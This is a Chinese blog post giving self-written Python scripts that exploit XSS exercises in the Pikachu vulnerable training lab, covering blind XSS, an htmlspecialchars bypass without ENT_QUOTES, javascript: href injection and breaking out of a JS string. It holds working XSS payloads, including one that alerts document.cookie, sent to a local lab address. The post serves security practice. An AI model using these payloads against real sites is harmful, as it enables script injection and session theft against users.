当前位置: 首页 > news >正文

pikachu自编exp,xss之盲打,过滤,htmlspecialchars,href,js

xss之盲打

#盲打的意思就是,你注入的内容,不会在前台出现,只有放管理员在后台触发时候,才会执行回显

过滤

htmlspecialchars

#htmlspecialchars () 没有加 ENT_QUOTES,单引号 ' 不被转义,导致可以闭合属性、插入恶意事件。

href

#href 输出:没过滤协议 → javascript: 执行代码

js

#JS 输出:没转义引号 → 闭合字符串执行代码

1.

#盲打的意思就是,你注入的内容,不会在前台出现,只有放管理员在后台触发时候,才会执行回显 import requests url = "http://192.168.8.1/pikachu-master/vul/xss/xssblind/xss_blind.php" payload = "<script>alert(document.cookie)</script>" resp = requests.post(url, data={"content":payload,"name":"name"}) print("[+] 注入完成! ") print("[+] 检测是否注入成功: ",payload in resp.text)

2.

import requests url = "http://192.168.8.1/pikachu-master/vul/xss/xss_01.php" payload = "<Script>alert(1)</Script>" resp = requests.get(url,params={"message":payload,"submit":"submit"}) print("[+] 完成注入") print("[+] 查看是否注入成功: ",'<Script>' in resp.text)

3.

#htmlspecialchars () 没有加 ENT_QUOTES,单引号 ' 不被转义,导致可以闭合属性、插入恶意事件。 import requests url = "http://192.168.8.1/pikachu-master/vul/xss/xss_02.php" payload = "' onclick='alert(1)'" resp = requests.get(url,params={"message":payload,"submit":"submit"}) print("[+] 注入完成") print("[+] 查看是否注入成功: ",payload in resp.text) print("点击一下页面,弹出弹框")

4.

#href 输出:没过滤协议 → javascript: 执行代码 import requests url = "http://192.168.8.1/pikachu-master/vul/xss/xss_03.php" payload = "javascript:alert(1);" resp = requests.get(url, params={"message":payload,"submit":"submit"}) print("[+] 注入完成") print("[+] 查看注入是否成功:",payload in resp.text ) print("[+] 点击页面的链接") print(f"[+] 或者点击:{url}?message={payload}")

5.

#JS 输出:没转义引号 → 闭合字符串执行代码 import requests url = "http://192.168.8.1/pikachu-master/vul/xss/xss_04.php" payload = "';alert(1);//" resp = requests.get(url,params={"message":payload,"submit":"submit"}) print("[+] 注入完成") print("[+] 查看是否注入成功: ","alert" in resp.text)
http://www.jsqmd.com/news/708888/

相关文章:

  • 告别臃肿奥创中心:华硕笔记本轻量化控制神器G-Helper完全指南
  • GPU直通沙箱性能损耗<3.2%?揭秘NVIDIA Container Toolkit 2.8+Docker 26.1联合调优的5个未公开参数,,
  • 星穹铁道跃迁记录分析工具:5分钟掌握免费数据导出与可视化技巧
  • 微信立减金正确处理方式:回收对比自用哪个划算 - 米米收
  • 3分钟掌握pdftotext:Python中最高效的PDF文本提取终极指南
  • LibreOffice Online完整实战指南:构建企业级私有化在线办公平台的最佳实践
  • 高效智能游戏助手:碧蓝航线Alas自动化脚本深度解析
  • AI模型安全防护:对抗攻击与防御实战指南
  • QtScrcpy技术架构深度解析:构建高效跨平台Android投屏与控制方案
  • DreamOmni3:多模态图像编辑框架的技术解析与应用
  • Seraphine:英雄联盟玩家的智能助手,帮你提升游戏决策效率
  • 一个人宅家夜宵想喝点酒哪里买?歪马送酒大额券帮你省钱又省心 - 资讯焦点
  • 从FM收音机到5G手机:IQ调制技术是如何一步步成为无线通信‘心脏’的?
  • 上海恩依餐饮:奉贤区家庭宴请推荐哪几家 - LYL仔仔
  • 重庆心理科暖心指南|案例分享干货!
  • 构建高性能缠论可视化分析引擎:通达信技术指标插件架构解析
  • MirrorCaster:3个简单步骤实现安卓手机零延迟投屏到电脑
  • 别再傻傻分不清!用大白话+生活例子讲透BLP和Biba安全模型
  • 3种高效场景解锁IPATool命令行iOS应用下载神器
  • 泉州装修设计风格与报价避坑指南:一个本地业主的实战复盘 - 速递信息
  • 2026 海派创展图鉴:上海展台设计搭建公司实力解码 - 资讯焦点
  • 怎么安装Hermes Agent/OpenClaw?2026年详细步骤
  • 2026年新疆AI搜索优化与短视频获客推广:竹子网络等5大服务商深度横评 - 企业名录优选推荐
  • 中国城市建设统计年鉴面板2002-2023年
  • 阶段一:Java基础 | ⭐ 面向对象:继承
  • 用C++和Qt做个可视化迷宫游戏:从DFS/BFS算法到图形界面实战
  • 海派展厅智造指南:2026 上海优质展厅设计搭建公司精选 - 资讯焦点
  • 恒利泰射频转接器:解决欧洲客户难题
  • AssetStudio终极指南:5大核心功能解锁Unity游戏资源宝库
  • 分析2026年天津文物预防性保护公司,哪家口碑好又靠谱 - 工业品牌热点